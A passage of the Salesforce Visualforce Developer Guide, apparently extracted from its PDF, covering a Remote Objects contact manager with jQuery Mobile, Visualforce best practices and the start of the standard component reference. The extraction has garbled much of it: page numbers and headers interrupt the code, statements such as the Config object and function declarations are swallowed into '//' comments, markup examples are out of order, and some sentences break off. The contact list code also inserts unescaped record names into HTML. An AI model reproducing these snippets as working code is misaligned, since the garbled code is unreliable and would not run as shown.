<meta name= "viewport" content= "width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<script type= "text/javascript" > var $j = jQuery.noConflict();
" )
// Config object with commonly used data
// This keeps some hard-coded HTML IDs out of the code var Config = {
Selectors: { list: '#cList' , detailFields: "#fName #lName #phone #notes #error #contactId" .split( "
};
},
Data: { contact: 'contact'
}
// Get all contacts, and display them in a list function getAllContacts() {
$j.mobile.showPageLoadingMsg(); var c = new RemoteObjectModel.Contact();
// Use the 'limit' operator to increase the default limit of 20 c.retrieve({ limit: 100 }, function (err, records) {
// Handle any errors if (err) { displayError(err);
} else {
// Empty the current list var list = $j(Config.Selectors.list).empty();
// Now add results records to list
$j.each(records, function() { var newLink = $j( '<a>' + this.get( 'FirstName' )+ ' ' +
330
Using JavaScript in Visualforce Pages An Example of Using Remote Objects with jQuery Mobile
}); this.get( 'LastName' )+ '</a>' ); newLink.data(Config.Data.contact, this.get( 'Id' )); newLink.appendTo(list).wrap( '<li></li>' );
$j.mobile.hidePageLoadingMsg(); list.listview( 'refresh' );
});
}
}
// Handle the Save button that appears on both
// the Edit Contact and New Contact pages function addUpdateContact(e){ e.preventDefault(); var record = new RemoteObjectModel.Contact({
FirstName: $j( '#fName' ).val(),
LastName: $j( '#lName' ).val(),
Phone: $j( '#phone' ).val(),
Notes: $j( '#notes' ).val()
// Note use of shortcut 'Notes' in place of Notes__c
}); var cId = $j( '#contactId' ).val(); if( !cId ) { // new record record.create(updateCallback);
} else { // update existing record.set( 'Id' , cId); record.update(updateCallback);
}
}
// Handle the delete button function deleteContact(e){ e.preventDefault(); var ct = new RemoteObjectModel.Contact(); ct.del($j( '#contactId' ).val(), updateCallback);
}
// Callback to handle DML Remote Objects calls function updateCallback(err, ids){ if (err) { displayError(err);
} else {
// Reload the contacts with current list getAllContacts();
$j.mobile.changePage( '#listpage' , {changeHash: true});
}
}
// Utility function to log and display any errors function displayError(e){ console && console.log(e);
331
Using JavaScript in Visualforce Pages An Example of Using Remote Objects with jQuery Mobile
$j( '#error' ).html(e.message);
}
// Attach functions to the buttons that trigger them function regBtnClickHandlers() {
$j( '#add' ).click(function(e) { e.preventDefault();
$j.mobile.showPageLoadingMsg();
// empty all the clic handlers
$j.each(Config.Selectors.detailFields, function(i, field) {
$j(field).val( '' );
});
});
$j.mobile.changePage( '#detailpage' , {changeHash: true});
$j.mobile.hidePageLoadingMsg();
$j( '#save' ).click(function(e) { addUpdateContact(e);
});
$j( '#delete' ).click(function(e) { deleteContact(e);
});
}
// Shows the contact detail view,
// including filling in form fields with current data function showDetailView(contact) {
$j( '#contactId' ).val(contact.get( 'Id' ));
$j( '#fName' ).val(contact.get( 'FirstName' ));
$j( '#lName' ).val(contact.get( 'LastName' ));
$j( '#phone' ).val(contact.get( 'Phone' ));
$j( '#notes' ).val(contact.get( 'Notes' ));
$j( '#error' ).html( '' );
$j.mobile.changePage( '#detailpage' , {changeHash: true});
}
// Register click handler for list view clicks
// Note: One click handler handles the whole list function regListViewClickHandler() {
$j(Config.Selectors.list).on( 'click' , 'li' , function(e) {
// show loading message
$j.mobile.showPageLoadingMsg();
// get the contact data for item clicked var id = $j(e.target).data(Config.Data.contact);
// retrieve latest details for this contact var c = new RemoteObjectModel.Contact(); c.retrieve({ where: { Id: { eq: id } }
332
Using JavaScript in Visualforce Pages An Example of Using Remote Objects with jQuery Mobile
}, function(err, records) { if(err) { displayError(err);
} else { showDetailView(records[0]);
}
});
});
// hide the loading message in either case
$j.mobile.hidePageLoadingMsg();
}
// And, finally, run the page
$j(document).ready(function() { regBtnClickHandlers(); regListViewClickHandler(); getAllContacts();
});
</script >
</head >
<!-- HTML and jQuery Mobile markup for the list and detail screens -->
<body >
<!-- This div is the list "page" -->
<div data-role= "page" data-theme= "b" id= "listpage" >
<div data-role= "header" data-position= "fixed" >
<h2 >Contacts </h2 >
<a href= '#' id= "add" class= 'ui-btn-right' data-icon= 'add' data-theme= "b" >Add </a >
</div >
<div data-role= "content" id= "contactList" >
<ul id= "cList" data-filter= "true" data-inset= "true" data-role= "listview" data-theme= "c" data-dividertheme= "b" >
</ul >
</div >
</div >
<!-- This div is the detail "page" -->
<div data-role= "page" data-theme= "b" id= "detailpage" >
<div data-role= "header" data-position= "fixed" >
<a href= '#listpage' id= "back2ContactList" class= 'ui-btn-left' data-icon= 'arrow-l' data-direction= "reverse" data-transition= "flip" >Back </a >
<h1 >Contact Details </h1 >
</div >
<div data-role= "content" >
<div data-role= "fieldcontain" >
<label for= "fName" >First Name: </label >
<input name= "fName" id= "fName" />
</div >
<div data-role= "fieldcontain" >
333
Using JavaScript in Visualforce Pages Best Practices for Using Remote Objects
<label for= "lName" >Last Name: </label >
<input name= "lName" id= "lName" />
</div >
<div data-role= "fieldcontain" >
<label for= "phone" >Phone: </label >
<input name= "phone" id= "phone" />
</div >
<div data-role= "fieldcontain" >
<label for= "notes" >Notes: </label >
<textarea name= "notes" id= "notes" />
</div >
<h2 style= "color:red" id= "error" > </h2 >
<input type= "hidden" id= "contactId" />
<button id= "save" data-role= "button" data-icon= "check" data-inline= "true" data-theme= "b" class= "save" >Save </button >
<button id= "delete" data-role= "button" data-icon= "delete" data-inline= "true" class= "destroy" >Delete </button >
</div >
</div >
</body >
</apex:page >
Note that although all four Remote Objects operations are demonstrated, there are only three callback handlers.
•
getAllContacts()
calls retrieve()
to load a list of contacts and provides an anonymous function for the callback. The callback checks for errors and then iterates through the results, adding them to the page.
•
Similarly, showDetailView()
calls retrieve()
to load a single contact for the detail page, and the results are also handled by an anonymous function.
•
addUpdateContact()
and deleteContact()
handle adding, updating, and deleting contacts. Both methods pass updateCallback()
as the callback function. updateCallback()
doesn’t use the results of the Remote Objects operation.
It only checks for errors, logs them to the console, and then calls getAllContacts()
to refresh the page.
Best Practices for Using Remote Objects
Visualforce Remote Objects is an effective tool for quickly adding simple data operations to Visualforce pages. Remote Objects is easy to use, with lightweight components that don’t require Apex code to implement reading and writing data to the Salesforce service.
Remote Objects isn’t always the right tool for the job, though, so it’s important to understand how Remote Objects works and when to use a different tool, such as JavaScript remoting.
Field Level Security
Remote Objects respects your organization’s field level security settings. Keep this in mind when you create pages that use Remote
Objects. Fields that aren’t accessible to the person viewing the page appear blank. Actions that modify field data ( create()
, update()
, and upsert()
) fail with an error if they include inaccessible fields in the request.
Transaction Boundaries
Remote Objects removes control of transaction boundaries from your code. Each Remote Objects operation ( create()
, update()
, and so on) is a separate transaction. Each operation succeeds or fails on its own, which can be a problem when you need to create or
334
Using JavaScript in Visualforce Pages Best Practices for Using Remote Objects modify multiple related objects as part of a business process. For example, if you create an invoice record and related line-item records, each record is saved in a separate transaction. If some Remote Objects operations fail and some succeed, your data can be left in an inconsistent state. Note that this issue isn’t related to service reliability. In this example, if some of the line items fail a validation rule, they won’t be created, which leaves an incomplete invoice. Your code must clean up and try again.
In contrast, JavaScript remoting transaction boundaries are on the Apex
@RemoteAction
method. It’s easy to create the invoice and related line-item records inside one method, where automatic Apex transactions ensure that all records are created together or not at all.
Appropriate Placement and Testing of Business Logic
Consider carefully where you’re putting your application’s business logic, especially when it’s complex. When you are creating straightforward pages that enable creation, editing, and deletion of individual objects, as in
can be entirely appropriate. When you have more complex business rules and processes, though, it might be more effective to remove that logic from the client layer and build it on the server side.
Consider the following points when you’re deciding where to put your organization’s business logic.
•
Security and consistency: Remember that users can lose their network connection in mid-transaction, or alter the way that your page’s JavaScript executes with Firebug and other tools. Remote Objects enforces your validation rules, triggers, sharing rules, field level security, and other data access restrictions, but if you put business rules in JavaScript instead of Salesforce, those can be interrupted, altered, or bypassed.
•
Testability: Business logic on the server side can use the many tools that Salesforce provides for testing. For this reason, we encourage you to put complex behavior in Apex and use the Apex test framework to verify that it works as you intend.
•
Performance: If your processing needs to look at many records as part of a transaction, but won’t display them in the browser, we recommend you avoid sending that data to the client, and instead process the data “locally” on the server. Think about what data your page needs to do its work, and make sure you’re not needlessly copying it over the wire.
Handling Complexity
Applications need to manage complexity carefully. Simple contact manager or store locator pages don’t have much complexity to manage, but many business processes do. Remote Objects pairs well with JavaScript frameworks such as jQuery and AngularJS, and those can help with the complexity of your application’s user interface. Always consider separating the concerns of your application into multiple layers and keeping them as discrete as possible. This is called “separation of concerns,” and it’s a classic software pattern and best practice.
Consider placing your data integrity rules in triggers and validation rules. Also consider encapsulating your business process rules in
Apex code that you make accessible via
@RemoteAction
methods that you can use with JavaScript remoting or with SOAP or REST services that you can use from anywhere.
Alternatives to Remote Objects
Remote Objects is a useful tool for quickly creating pages with basic data operations. When the job that your page needs to do is bigger than that, consider that Salesforce offers many alternatives to Force.com developers.
•
Standard Visualforce can be used to implement a wide range of application functionality. Visualforce provides much automatic functionality when using the standard controllers and supports completely custom functionality with your own Apex code.
•
JavaScript remoting also works well with third-party JavaScript frameworks and enables you to access custom business logic in Apex.
•
Salesforce1 allows you to build mobile applications quickly and often by using declarative tools instead of code.
335
Using JavaScript in Visualforce Pages Remote Objects Limits
Think carefully about what your page or application needs to do, and then choose the right tool for the job. Sometimes that tool is
Remote Objects, and sometimes it’s something else.
Remote Objects Limits
Visualforce Although Remote Objects isn’t subject to some resource limits, it comes with limitations of its own.
Remote Objects is subject to the following limits.
•
Remote Objects isn’t a way to avoid Salesforce service limits. Remote Objects calls aren’t subject to API limits, but Visualforce pages that use Remote Objects are subject to all standard Visualforce limits.
•
You can retrieve a maximum of 100 rows in a single request. To display more rows, submit additional requests by using the
OFFSET query parameter.
•
Remote Objects doesn’t support
Blob
fields. You can’t retrieve or set the value of object fields of type
Blob
.
•
Setting the rendered
attribute to false
on Remote Objects components disables the generation of the JavaScript for those
Remote Objects. Any page functionality that depends on unrendered Remote Objects should also be disabled.
336
CHAPTER 22 Best Practices
The following best practices can be used in your Visualforce pages:
•
Best Practices for Improving Visualforce Performance
•
Best Practices for Accessing Component IDs
•
Best Practices for Static Resources
•
Best Practices for Controllers and Controller Extensions
•
Best Practices for Using Component Facets
•
Best Practices for Page Block Components
•
Best Practices for Rendering PDF Files
•
Best Practices for Improving Visualforce Performance
Visualforce was designed to provide developers with the ability to match the functionality, behavior, and performance of standard
Salesforce pages. If your users experience delays, unexpected behavior, or other issues specifically around Visualforce, there are several actions you can take to not only improve their experience, but to also make for improved coding.
First, determine whether Visualforce is the problem by ensuring that:
•
The problems aren’t confined to a single user’s computer by testing expected Visualforce functionality on other machines as well as using different browsers.
•
Slow load times aren’t the result of a network issue by checking the load time of other Salesforce pages. If they’re also slow, it could be the result of bandwidth or latency issues to Salesforce. To check on the status of the Salesforce servers, visit trust.salesforce.com
.
You should also check the status of your network connections and ensure they’re functioning properly.
•
You’re following general Web design best practices, such as the minification of JavaScript and CSS , optimizing images for the Web, and avoiding iframes whenever possible.
•
You’ve used the Developer Console to step through the request and determine which items in the request used the most system resources. See “Developer Console Functionality” in the Salesforce online help.
The following is a list of commonly encountered Visualforce performance issues and their possible solutions:
View State Size
The view state size of your Visualforce pages must be under 135 KB. By reducing your view state size, your pages can load quicker and stall less often.
•
necessary during page refreshes.
•
If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions, consider refining your SOQL calls to return only data that's relevant to the Visualforce page.
337
Best Practices Best Practices for Accessing Component IDs
•
If your view state is affected by a large component tree, try reducing the number of components your page depends on.
Load Times
Large page sizes directly affects load times. To improve Visualforce page load times:
•
Cache any data that is frequently accessed, such as icon graphics.
•
Avoid SOQL queries in your Apex controller getter methods.
•
Reduce the number of records displayed on a page by:
–
Limiting the data coming back from SOQL calls in your Apex controllers. For example, using
AND
statements in your
WHERE clause , or removing null
results
–
Taking advantage of
pagination with a list controller to present fewer records per page
•
“ Lazy load ” Apex objects to reduce request times.
•
Consider moving any JavaScript outside of the
<apex:includeScript >
tag and placing it into a
<script >
tag right before your closing
<apex:page >
tag. The
<apex:includeScript >
tag places JavaScript right before the closing
<head >
element; thus, Visualforce attempts to load the JavaScript before any other content on the page. However, you should only move JavaScript to the bottom of the page if you’re certain it doesn’t have any adverse effects to your page. For example,
JavaScript code snippets requiring document.write
or event handlers should remain in the
<head >
element.
In all cases, Visualforce pages must be under 15 MB.
Multiple Concurrent Requests
Concurrent requests are long-running tasks that could block other pending tasks. To reduce these delays:
•
Action methods used by
<apex:actionPoller >
should be lightweight. It’s a best practice to avoid performing DML, external service calls, and other resource-intensive operations in action methods called by an
<apex:actionPoller >
.
Carefully consider the effect of your action method being called repeatedly by an
<apex:actionPoller >
at the interval you specify, especially if it’s used on a page that will be widely distributed, or open continuously.
•
Increase the time interval for calling Apex from your Visualforce page. For example, when using the
<apex:actionPoller > component, you could adjust the interval
attribute to 30 seconds instead of 15.
•
Move non-essential logic to an asynchronous code block using Ajax.
Queries and Security
By using the with sharing
keyword when creating your Apex controllers, you have the possibility of
improving your SOQL queries by only viewing a data set for a single user .
Preventing Field Values from Dropping Off the Page
If your page contains many fields, including large text area fields, and has master-detail relationships with other entities, it may not display all data due to limits on the size of data returned to Visualforce pages and batch limits. The page displays this warning: “You requested too many fields to display. Consider removing some to prevent field values from being dropped from the display.”
To prevent field values from being dropped from the page, remove some fields to reduce the amount of data returned. Alternatively, you can write your own controller extensions to query child records to be displayed in the related lists.
Best Practices for Accessing Component IDs
To refer to a Visualforce component in JavaScript or another Web-enabled language, you must specify a value for the id
attribute for that component. A DOM ID is constructed from a combination of the id
attribute of the component and the id
attributes of all components that contain the element.
Use the
$Component
global variable to simplify referencing the DOM ID that is generated for a Visualforce component, and reduce some of the dependency on the overall page structure. To reference a specific Visualforce component’s DOM ID, add a component path specifier to
$Component
, using dot notation to separate each level in the component hierarchy of the page. For example, use
338
Best Practices Best Practices for Accessing Component IDs
$Component
.
itemId
to reference a component at the same level in the Visualforce component hierarchy, or use
$Component
.
grandparentId
.
parentId
.
itemId
to specify a more complete component path.
A
$Component
path specifier is matched against the component hierarchy:
•
At the current level of the component hierarchy where
$Component
is used; and then
•
At each successive higher level in the component hierarchy, until a match is found, or the top-level of the component hierarchy is reached.
There is no backtracking, so if the ID you’re trying to match requires a traversal up and then back down, it won’t match.
The following example illustrates several uses of
$Component
:
<apex:page >
<style >
.clicker { border: 1px solid #999; cursor: pointer; margin: .5em; padding: 1em; width: 10em; text-align: center; }
</style >
<apex:form id= "theForm" >
<apex:pageBlock id= "thePageBlock" title= "Targeting IDs with $Component" >
<apex:pageBlockSection id= "theSection" >
<apex:pageBlockSectionItem id= "theSectionItem" >
All the alerts refer to this component.
<p >The full DOM ID resembles something like this: <br/ > j_id0:theForm:thePageBlock:theSection:theSectionItem </p >
</apex:pageBlockSectionItem >
<!-- Works because this outputPanel has a parent in common with "theSectionItem" component -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('{!$Component.theSectionItem}');" >
First click here
</apex:outputPanel >
</apex:pageBlockSection >
<apex:pageBlockButtons id= "theButtons" location= "bottom" >
<!-- Works because this outputPanel has a grandparent ("theSection") in common with "theSectionItem" -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('{!$Component.theSection.theSectionItem}');" >
Second click here
</apex:outputPanel >
<!-- Works because this outputPanel has a distant ancestor ("theForm") in common with "theSectionItem" -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('
{!$Component.theForm.thePageBlock.theSection.theSectionItem} ');">
Third click here
</apex:outputPanel >
</apex:pageBlockButtons >
</apex:pageBlock >
339
Best Practices Best Practices for Accessing Component IDs
<!-- Works because this outputPanel is a sibling to "thePageBlock", and specifies the complete ID path from that sibling -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('{!$Component.thePageBlock.theSection.theSectionItem}');" >
Fourth click here
</apex:outputPanel >
<hr/ >
<!-- Won't work because this outputPanel doesn't provide a path that includes a sibling or common ancestor -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('{!$Component.theSection.theSectionItem}');" >
This won 't work
</apex:outputPanel >
<!-- Won't work because this outputPanel doesn't provide a path that includes a sibling or common ancestor -->
<apex:outputPanel layout= "block" styleClass= "clicker" onclick= "alert('{!$Component.theSectionItem}');" >
Won 't work either
</apex:outputPanel >
</apex:form >
</apex:page >
Using Unique IDs
Within each hierarchy segment in a page, the component id
must be unique. However, Salesforce recommends you use an id
that is unique on the page for every component you need to reference, and any components above it in the component hierarchy that are needed to reference it.
For example, suppose you had two data tables in a single page. If both data tables are contained in the same page block, they must have unique id
attributes. If each is contained in a separate page block, it’s possible to give them the same component id
. If you do so, however, the only way to reference a specific data table is to assign an id
to every component and then reference the data table component using the complete hierarchy, rather than letting Visualforce do it automatically. If the page hierarchy ever changes, your program will no longer work.
Iterating with Component IDs
Some components, such as tables and lists, support iteration over a collection of records. After you assign an ID for these types of components, the system assigns a unique “compound ID” to each iteration of the component based on the initial ID.
For example, the following page contains a data table with an ID set to theTable
.
<apex:page standardController= "Account" recordSetVar= "accounts" id= "thePage" >
<apex:dataTable value= "{!accounts}" var= "account" id= "theTable" >
<apex:column id= "firstColumn" >
<apex:outputText value= "{!account.name}" />
</apex:column >
<apex:column id= "secondColumn" >
<apex:outputText value= "{!account.owner.name}" />
340
Best Practices Best Practices for Static Resources
</apex:column >
</apex:dataTable >
</apex:page >
When the page is rendered, the
<apex:dataTable >
component results in the following HTML:
<table id= "thePage:theTable" border= "0" cellpadding= "0" cellspacing= "0" >
<colgroup span= "2" />
<tbody >
<tr class= "" >
<td id= "thePage:theTable:0:firstColumn" >
<span id= "thePage:theTable:0:accountName" >Burlington Textiles </span >
</td >
<td id= "thePage:theTable:0:secondColumn" >
<span id= "thePage:theTable:0:accountOwner" >Vforce Developer </span >
</td >
</tr >
<tr class= "" >
<td id= "thePage:theTable:1:firstColumn" >
<span id= "thePage:theTable:1:accountName" >Dickenson </span >
</td >
<td id= "thePage:theTable:1:secondColumn" >
</tr >
</table >
<span id= "thePage:theTable:1:accountOwner" >Vforce Developer </span >
</td >
Each table cell has a unique ID based on the ID value of the containing components. The first table cell in the first row has the ID thePage:theTable:0:firstColumn
, the second cell in the first row has the ID thePage:theTable:0:secondColumn
, the first cell in the second row has the ID thePage:theTable:1:firstColumn
, and so on.
To refer to all entries in a column, you have to iterate across the table rows, referring to each
<td >
element that has an ID following the format of the column.
The same type of ID generation is done for elements within the table cells. For example, the account name in the first row is generated as a span
with the ID thePage:theTable:0:accountName
. Notice that ID does not include the value of the ID for the column it’s in.
Best Practices for Static Resources
Displaying the Content of a Static Resource with the action
Attribute on
<apex:page >
You can use the action
attribute on a
<apex:page >
component to redirect from a Visualforce page to a static resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a user to a PDF:
1. Upload the PDF as a static resource named customhelp
.
2. Create the following page:
<apex:page sidebar= "false" showHeader= "false" standardStylesheets= "false" action= "{!URLFOR($Resource.customhelp)}" >
</apex:page >
Notice that the static resource reference is wrapped in a
URLFOR
function. Without that, the page does not redirect properly.
341
Best Practices Best Practices for Controllers and Controller Extensions
This redirect is not limited to PDF files. You can also redirect a page to the content of any static resource. For example, you can create a static resource that includes an entire help system composed of many HTML files mixed with JavaScript, images, and other multimedia files. As long as there is a single entry point, the redirect works. For example:
1. Create a zip file that includes your help content.
2. Upload the zip file as a static resource named customhelpsystem
.
3. Create the following page:
<apex:page sidebar= "false" showHeader= "false" standardStylesheets= "false" action= "{!URLFOR($Resource.customhelpsystem, 'index.htm')}" >
</apex:page >
When a user visits the page, the index.htm
file in the static resource displays.
SEE ALSO:
Best Practices for Controllers and Controller Extensions
Enforcing Sharing Rules in Controllers
Like other Apex classes, custom controllers and controller extensions run in system mode.
Typically, you want a controller or controller extension to respect a user’s organization-wide defaults, role hierarchy, and sharing rules. You can do that by using the with sharing
keywords in the class definition. For information, see “Using the with sharing
or without sharing
Keywords” in the
Apex Developer Guide
.
Note: If a controller extension extends a standard controller, the logic from the standard controller doesn’t execute in system mode. Instead, it executes in user mode, in which the permissions, field-level security, and sharing rules of the current user apply.
Controller Constructors Evaluate Before Setter Methods
Do not depend on a setter method being evaluated before a constructor. For example, in the following component, the component's controller depends on the setter for selectedValue
being called before the constructor method:
<apex:component controller= "CustCmpCtrl" >
<apex:attribute name= "value" description= ""
</apex:attribute >
//...
type= "String" required= "true" assignTo= "{!selectedValue}" >
//...
</apex:component > public class CustCmpCtrl {
// Constructor method public CustCmpCtrl() { if (selectedValue != null) {
EditMode = true;
}
}
342
Best Practices Best Practices for Using Component Facets private Boolean EditMode = false;
// Setter method public String selectedValue { get;set; }
}
Since the constructor is called before the setter, selectedValue
will always be null when the constructor is called. Thus,
EditMode
will never be set to true.
Methods may evaluate more than once — do not use side-effects
Methods, including methods in a controller, action attributes, and expressions, may be called more than once. Do not depend on evaluation order or side-effects when creating custom methods in a controller or controller extension.
Best Practices for Using Component Facets
A facet consists of content in an area of a Visualforce component that provides contextual information about the data that is presented in the component. For example,
<apex:dataTable >
supports facets for the header, footer, and caption of a table, while
<apex:column >
only supports facets for the header and footer of the column. The
<apex:facet >
component allows you to override the default facet on a Visualforce component with your own content. Facets only allow a single child within the start and close tags.
Note: Not all components support facets. Those that do are listed in the
.
When defining an
<apex:facet >
, it is always used as the child of another Visualforce component. The name
attribute on the facet determines which area of the parent component is overridden.
Example: Using Facets with
<apex:dataTable >
The following markup shows how the
<apex:dataTable >
component can be modified with
<apex:facet >
:
<apex:page standardController= "Account" >
<apex:pageBlock >
<apex:dataTable value= "{!account}" var= "a" >
<apex:facet name= "caption" > <h1 >This is
{!account.name} </h1 > </apex:facet >
<apex:facet name= "footer" > <p >Information
Accurate as of {!NOW()} </p > </apex:facet >
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
<apex:outputText value= "{!a.name}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Owner </apex:facet >
<apex:outputText value= "{!a.owner.name}" />
</apex:column >
</apex:dataTable >
</apex:pageBlock >
</apex:page >
343
Best Practices Best Practices for Using Component Facets
Note: For this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://
Salesforce_instance
/apex/facet?id=001D000000IRosz
The page displays as follows:
Extending
<apex:dataTable >
with a Facet
Using Facets with
<apex:actionStatus >
Another component that can use a facet is
<apex:actionStatus >
. The
<apex:actionStatus >
component can be extended to display an indicator whenever a page is being refreshed. For example, you can define a progress wheel with the following markup:
<apex:page controller= "exampleCon" >
<apex:form >
<apex:outputText value= "Watch this counter: {!count}" id= "counter" />
<apex:actionStatus id= "counterStatus" >
<apex:facet name= "start" >
<img src= "{!$Resource.spin}" /> <!-- A previously defined image -->
</apex:facet >
</apex:actionStatus >
<apex:actionPoller action= "{!incrementCounter}" rerender= "counter" status= "counterStatus" interval= "7" />
</apex:form >
</apex:page >
The associated controller updates the counter: public class exampleCon {
Integer count = 0; public PageReference incrementCounter() { count++; return null ;
} public Integer getCount() { return count;
}
}
The page displays as follows:
344
Best Practices
Extending
<apex:actionStatus >
with a Facet
Best Practices for Page Block Components
SEE ALSO:
Best Practices for Page Block Components
Adding More than Two Child Components to
<apex:pageBlockSectionItem >
An
<apex:pageBlockSectionItem >
component can only have up to two child components. Sometimes, though, you want to add an extra child component. For example, you may want to add an asterisk before an
<apex:outputLabel >
and still display the associated input text field. You can do this by wrapping the asterisk and output label in an
<apex:outputPanel > component, as follows:
Note: For this page to display account data, the ID of a valid account record must be specified as a query parameter in the
URL for the page. For example: https://
Salesforce_instance
/apex/myPage?id=001D000000IRosz
<!-- Page: -->
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:pageBlockSectionItem >
<apex:outputPanel >
</apex:pageBlockSectionItem >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
<apex:outputText >* </apex:outputText >
<apex:outputLabel value= "Account Name" for= "account__name" />
</apex:outputPanel >
<apex:inputText value= "{!account.name}" id= "account__name" />
Best Practices for Rendering PDF Files
Rendering a Visualforce page as a PDF file is a great way to share information about your Salesforce organization. Here are some best practices for you to consider.
For better performance when rendering Visualforce pages, reference static image and style sheet resources through the
.
Warning: Referencing static resources on a remote server increases the time it takes to render a Visualforce page as a PDF file.
Add remote servers to your permitted Remote Sites list: From Setup, enter
Remote Sites Settings
in the
Quick Find
345
Best Practices Best Practices for <apex:panelbar> box, then select Remote Sites Settings. You can’t reference remote resources when using Visualforce to render PDF files in an
Apex trigger. Doing so results in an exception.
SEE ALSO:
Render a Visualforce Page as a PDF File
Visualforce PDF Rendering Considerations and Limitations
Best Practices for
<apex:panelbar >
Adding a Collection of Child
<apex:panelBarItem >
Components to an
<apex:panelBar >
Component
An
<apex:panelBar >
component can only have
<apex:panelBarItem >
child components. Sometimes, though, you want to add a collection of child components. For example, you may want to add an item for each contact associated with an account. You can do this by wrapping
<apex:panelBarItem >
in an
<apex:repeat >
component, as follows:
Note: For this page to display account data, the ID of a valid account record must be specified as a query parameter in the
URL for the page. For example: https://Salesforce_instance/apex/myPage?id=001D000000IRosz
<apex:page standardController= "account" >
<apex:panelBar >
<apex:repeat value= "{!account.contacts}" var= "c" >
<apex:panelBarItem label= "{!c.firstname}" >one </apex:panelBarItem >
</apex:repeat >
</apex:panelBar >
</apex:page >
346
CHAPTER 23 Standard Component Reference
A full list of the standard Visualforce components can be accessed through the table of contents or in the index of this guide.
analytics:reportChart
Use this component to add Salesforce report charts to a Visualforce page. You can filter chart data to show specific results. The component is available in API version 29.0 or later.
Before you add a report chart, check that the source report has a chart in Salesforce app.
Attributes
Attribute Name Attribute Type
body cacheAge cacheResults developerName error filter
Component[]
Long
Boolean
String
String
String
Description
The body of the component. In markup, this is everything in the body of the tag.
Required?
API
Version
Access
29.0
global
The length of time that an embedded chart can cache data, in milliseconds (for example, 24 hours = 86,400,000 ms). The maximum length of time is 24 hours.
29.0
global
A Boolean indicating whether to use cached data when displaying the chart. When the attribute is set to true, data is cached for 24 hours, but you can modify the length of time with the cacheAge attribute. If the attribute is set to false, the report is run every time the page is refreshed.
The unique developer name of the report. You can get a report’s developer name from the report properties in the
Report Builder. This attribute can be used instead of reportId.
It can't be included if reportId has been set and vice versa.
One of the two is required.
29.0
29.0
global global
Whether this is error for fetching the component
Filter a report chart by fields in addition to field filters already in the report to get specific data. Note that a report can have up to 20 field filters. A filter has these attributes in the form of a JSON string:
•
column: The API name of the field that you want to filter on.
29.0
29.0
global global
347
Standard Component Reference analytics:reportChart
Attribute Name Attribute Type Description
•
operator: The API name of the condition you want to filter a field by. For example, to filter by "not equal to," use the API name "notEqual."
•
value: The filter criteria.
For example,
[{column:'STAGE_NAME',operator:'equals', value:'Prospecting'},
{column:'EXP_AMOUNT',operator:'greaterThan', value:'75000'}].
To get the API name of the field and the operator, make a describe request via the Analytics REST API or Analytics Apex
Library as shown in these examples:
Analytics API
/services/data/v29.0/analytics/reports/00OD0000001ZbNHMA0/describe
Analytics Apex Library
1. First, get report metadata from a describe request:
Reports.ReportManager.describeReport(00OD0000001ZbNHMA0)
2. Next, get operators based on the field’s data type using this method:
Reports.ReportManager.getDatatypeFilterOperatorMap()
Required?
API
Version
Access
hideOnError
Boolean rendered reportId size
Boolean
String showRefreshButton
Boolean
String
Use the attribute to control whether users see a chart that has an error. When there’s an error and this attribute is not set, the chart will not show any data except the error.
An error can happen for many reasons, for example, when a user doesn’t have access to fields used by the chart or a chart has been removed from the report.
Set the attribute to true to hide the chart from a page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The unique ID of the report. You can get a report’s ID from the report URL in Salesforce, or request it through the API.
A Boolean indicating whether to add a refresh button to the chart.
Specify a chart’s size with one of these values:
•
tiny
29.0
14.0
29.0
29.0
29.0
global global global global global
348
Standard Component Reference
Attribute Name Attribute Type Description
•
small
•
medium
•
large
•
huge
When not specified, the chart size is medium.
apex:actionFunction
Required?
API
Version
Access apex:actionFunction
A component that provides support for invoking controller action methods directly from JavaScript code using an AJAX request. An
<apex:actionFunction >
component must be a child of an
<apex:form >
component.
Unlike
<apex:actionSupport >
, which only provides support for invoking controller action methods from other Visualforce components,
<apex:actionFunction >
defines a new JavaScript function which can then be called from within a block of
JavaScript code.
Note: Beginning with API version 23 you can't place
<apex:actionFunction >
inside an iteration component —
<apex:pageBlockTable >
,
<apex:repeat >
, and so on. Put the
<apex:actionFunction >
after the iteration component, and inside the iteration put a normal JavaScript function that calls it.
Example
<!-- Page: -->
<apex:page controller= "exampleCon" >
<apex:form >
<!-- Define the JavaScript function sayHello-->
<apex:actionFunction name= "sayHello" action= "{!sayHello}" rerender= "out" status= "myStatus" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:outputText value= "Hello " />
<apex:actionStatus startText= "requesting..." id= "myStatus" >
<apex:facet name= "stop" >{!username} </apex:facet >
</apex:actionStatus >
</apex:outputPanel >
<!-- Call the sayHello JavaScript function using a script element-->
<script >window.setTimeout(sayHello,2000) </script >
<p > <apex:outputText value= "Clicked? {!state}" id= "showstate" /> </p >
<!-- Add the onclick event listener to a panel. When clicked, the panel triggers the methodOneInJavascript actionFunction with a param -->
<apex:outputPanel onclick= "methodOneInJavascript('Yes!')" styleClass= "btn" >
Click Me
</apex:outputPanel >
<apex:form >
349
Standard Component Reference
<apex:actionFunction action= "{!methodOne}" name= "methodOneInJavascript" rerender= "showstate" >
<apex:param name= "firstParam" assignTo= "{!state}" value= "" />
</apex:actionFunction >
</apex:form >
</apex:page >
/*** Controller ***/ public class exampleCon {
String uname; public String getUsername() { return uname;
} public PageReference sayHello() { uname = UserInfo.getName(); return null ;
} public void setState( String n) { state = n;
} public String getState() { return state;
} public PageReference methodOne() { return null ;
} private String state = 'no' ;
}
Attributes
Attribute Name
action
Attribute Type Description
ApexPages.Action
